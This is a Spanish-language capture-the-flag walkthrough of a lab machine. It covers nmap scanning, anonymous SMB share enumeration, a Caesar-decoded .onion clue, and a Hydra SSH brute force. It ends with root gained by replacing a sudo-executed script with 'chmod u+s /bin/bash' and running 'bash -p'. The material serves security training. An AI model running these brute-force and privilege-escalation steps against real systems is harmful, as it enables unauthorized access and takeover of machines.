Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap-p---open-sS--min-rate5000-vvv-n-Pn<IP>
nmap-sCV-p<PORTS><IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-14 08:13 EST
Nmap scan report for 172.21.0.2
Host is up (0.000036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 aa:df:30:8b:17:c5:3c:80:1c:88:f1:f8:c0:ac:cc:fa (ECDSA)
|_ 256 aa:6a:33:65:fc:54:b7:8f:98:ff:1f:3d:79:a3:05:3c (ED25519)
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-12-14T13:13:29
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.62 seconds
Por lo que vemos hay un SMB activo, por lo que vamos a intentar a enumerar los recursos compartidos del servidor:
smbclient
smbclient-L//<IP>
Info:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
darkshare Disk
IPC$ IPC IPC Service (8e37253f7c68 server (Samba, Ubuntu))
Vemos que hay un recurso compartido llamado darkshare y nos deja enumerar de forma anonima, por lo que vamos a ver si nos deja entrar de forma anonima al recurso compartido:
smbclient//<IP>/darkshare
Si ejecutamos esto nos dejara entrar, si listamos el recurso compartido con un ls:
smb: \> ls
. D 0 Sat Dec 14 05:24:32 2024
.. D 0 Sat Dec 14 05:24:32 2024
archivesDatabases.txt N 563 Sat Dec 14 05:16:30 2024
ilegal.txt N 204 Sat Dec 14 05:24:32 2024
drugs.txt N 526 Sat Dec 14 05:17:49 2024
credentials.txt N 631 Sat Dec 14 05:17:13 2024
hackingServices.txt N 662 Sat Dec 14 05:18:19 2024
Veremos que hay varios archivos, entre ellos destaca uno llamado ilegal.txt, nos lo descargaremos de la siguiente forma:
getilegal.txt
Y su contenido sera el siguiente:
St qj htrufwyfx jxyf uflnsf f sfinj, xtqt vznjwt vzj qt ajfx yz, df vzj jxyt rj uzjij rjyjw jq uwtgqjrfx: q2kmnaxwhgdy2sz5wnqrarvrmuemzlfn5xewrdwxdgtdpeaxtpki6ini.tsnts
#NOTE:
use 5, you understand me
Por lo que vemos el primer texto parece estar codificado en cesar y lo que dice debajo de la nota del numero 5, podemos deducir que es con un desplazamiento de 5, por lo que nos iremos a la siguiente pagina:
Y en la parte de Desplazamiento/Tecla (número): ponemos el numero 5 para que sea con ese desplazamiento.
Una vez echo todo esto anterior le daremos DESCIFRAR y podremos ver lo siguiente:
No le compartas esta pagina a nadie, solo quiero que lo veas tu, ya que esto me puede meter el problemas: l2fhivsrcbyt2nu5rilmvmqmhpzhugai5szrmyrsyboykzvsokfd6did.onion
Por lo que vemos es un enlace .onion la cual se puede ver con el navegador TOR, por lo que vamos a instalar en nuestra maquina host el navegador TOR para ingresar esa URL y a ver que nos muestra.
Instalar TOR
sudoaptinstalltorbrowser-launcher
O si no lo podemos descargar en la pagina oficial:
Veremos que nos carga una pagina web Dark Forum y si le damos a un enlace llamado Access the Darkest Web, nos llevara a una pagina web con varios links.
Si le damos a redroom 27 nos metera como en un chat, que si ponemos user paar que nos de el username, vremos lo siguiente:
acker: User located. Sending details... Username: dark, IP: 192.168.1.105, Last login: 3 days ago.
Vemos que nos da un nombre de usuario llamado dark y si ahora nos vamos a otro link llamado Hidden Marketplace y le damos al boton de Purchase de la seccion llamada Confidential List's Passwords, nos llevara a un archivo TXT que contiene lo siguiente:
Por lo que tendremos que utilizar hydra para sacar las credenciales del usuario dark con la lista que obtuvimos:
SSH
hydra-ldark-Pdic.txtssh://<IP>-t64
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-14 09:42:04
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 51 tasks per 1 server, overall 51 tasks, 51 login tries (l:1/p:51), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: dark password: oniondarkgood
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 22 final worker threads did not complete until end.
[ERROR] 22 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-14 09:42:08
Vemos que nos saco las credenciales del usuario.
Por lo que nos conectaremos por ssh:
sshdark@<IP>
Metemos la contarseña oniondarkgood y estaremos dentro, por lo que leeremos la flag del user.
user.txt
2eedcb4e067f16aa9c795fd05f3056bd
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for dark on 994316e6d77d:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dark may run the following commands on 994316e6d77d:
(ALL : ALL) NOPASSWD: /home/dark/hidden.py
Por lo que podremos ejecutar ese script como root, si vemos el codigo por dentro, veremos lo siguiente:
#!/bin/python3import subprocess# Ruta al archivo Update.shscript_path ='/usr/local/bin/Update.sh'# Ejecutar el script de Bashtry: subprocess.run(['bash', script_path], check=True)print("Script ejecutado con éxito.")except subprocess.CalledProcessError as e:print(f"Hubo un error al ejecutar el script: {e}")
Si vemos los permisos de la carpeta donde esta contenida, veremos que somos del grupo de la carpeta y podremos eliminar el archivo Update.sh y crearlo nosotros para escalara a root.
drwxrwx--- 1 root dark 4096 Dec 14 12:22 bin
Y dentro de la carpeta como dije esta:
-rwxrwx--- 1 root root 21 Dec 14 12:22 Update.sh
Por lo que haremos lo siguiente:
rmUpdate.sh
Info:
rm: remove write-protected regular file 'Update.sh'? y
Con esto ya habremos eliminado el archivo y ahora crearemos el mismo archivo pero con lo siguiente:
nanoUpdate.sh#Dentro del nano#!/bin/bashchmodu+s/bin/bash
Lo guardamos y ahora ejecutamos lo siguiente:
sudo/home/dark/hidden.py
No pondra:
Script ejecutado con éxito.
Y si vemos los permisos de la bash:
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Vemos que ha funcionado, por lo que solo tendremos que poner:
bash-p
Y con esto ya seremos root, leeremos la flag de root: